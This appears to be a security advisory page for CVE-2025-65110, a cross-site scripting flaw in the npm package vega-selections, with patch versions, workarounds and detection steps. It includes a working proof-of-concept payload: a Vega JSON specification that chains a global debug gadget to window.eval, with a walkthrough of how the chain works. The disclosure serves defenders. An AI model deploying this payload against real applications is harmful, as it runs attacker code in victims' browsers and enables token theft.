CVE-2025-65110 — vega-selections
HIGHCVE-2025-65110 is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in vega-selections. A fix is available for vega-selections — see the affected versions and patch details below.
Vega Cross-Site Scripting (XSS) via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-65110.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vega-selectionsnpmDescription
Impact
Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attaches bothvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow, or has any other satisfactory function gadgets in the global scope - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- With Vega v6, use
[email protected](requires ESM) - With Vega v5, use
[email protected](No ESM needed)
Workarounds
- Do not attach
vegaorvega.Viewinstances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
vlSelectionTuples({
map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers:{
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined into the_handlers, a string to be evald containing the XSS payload is returned.
- For our object,
This results in XSS by using a globally scoped gadget to get full blown eval.
PoC Link
Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.
For a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate here
Future investigation
In cases where VEGA_DEBUG is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped universal gadgets have been found.
Recommended Fix
In the selectionTuples implementation that backs the vulnerable function call, the code should be changed to check Array.isArray(array) before calling a potentially dangerous user provided .map on the array argument.
Impact
This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.
An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega-selections | all versions | 5.6.3npm install vega-selections@5.6.3 |
| 📦npm | vega-selections | ≥ 6.0.0&&< 6.1.2 | 6.1.2npm install vega-selections@6.1.2 |
Affected Products
vegavega_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega-selections, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vega-selections to 5.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-65110 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Important for Red Hat products. It affects applications that expose the Vega library globally and process user-provided visualization definitions, such as JupyterLab in Fedora and EPEL, and certain cloud.redhat.com services. Exploitation requires user interaction with a malicious Vega…
To mitigate this issue, applications using the Vega library should avoid attaching `vega` or `vega.View` instances to global variables or the window object in production environments. This practice is intended for development and debugging only and should not be used when processing untrusted Vega specifications.Source: Red Hat security advisory for CVE-2025-65110 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-65110 in your dependencies?
Find it across npm, including transitive dependencies.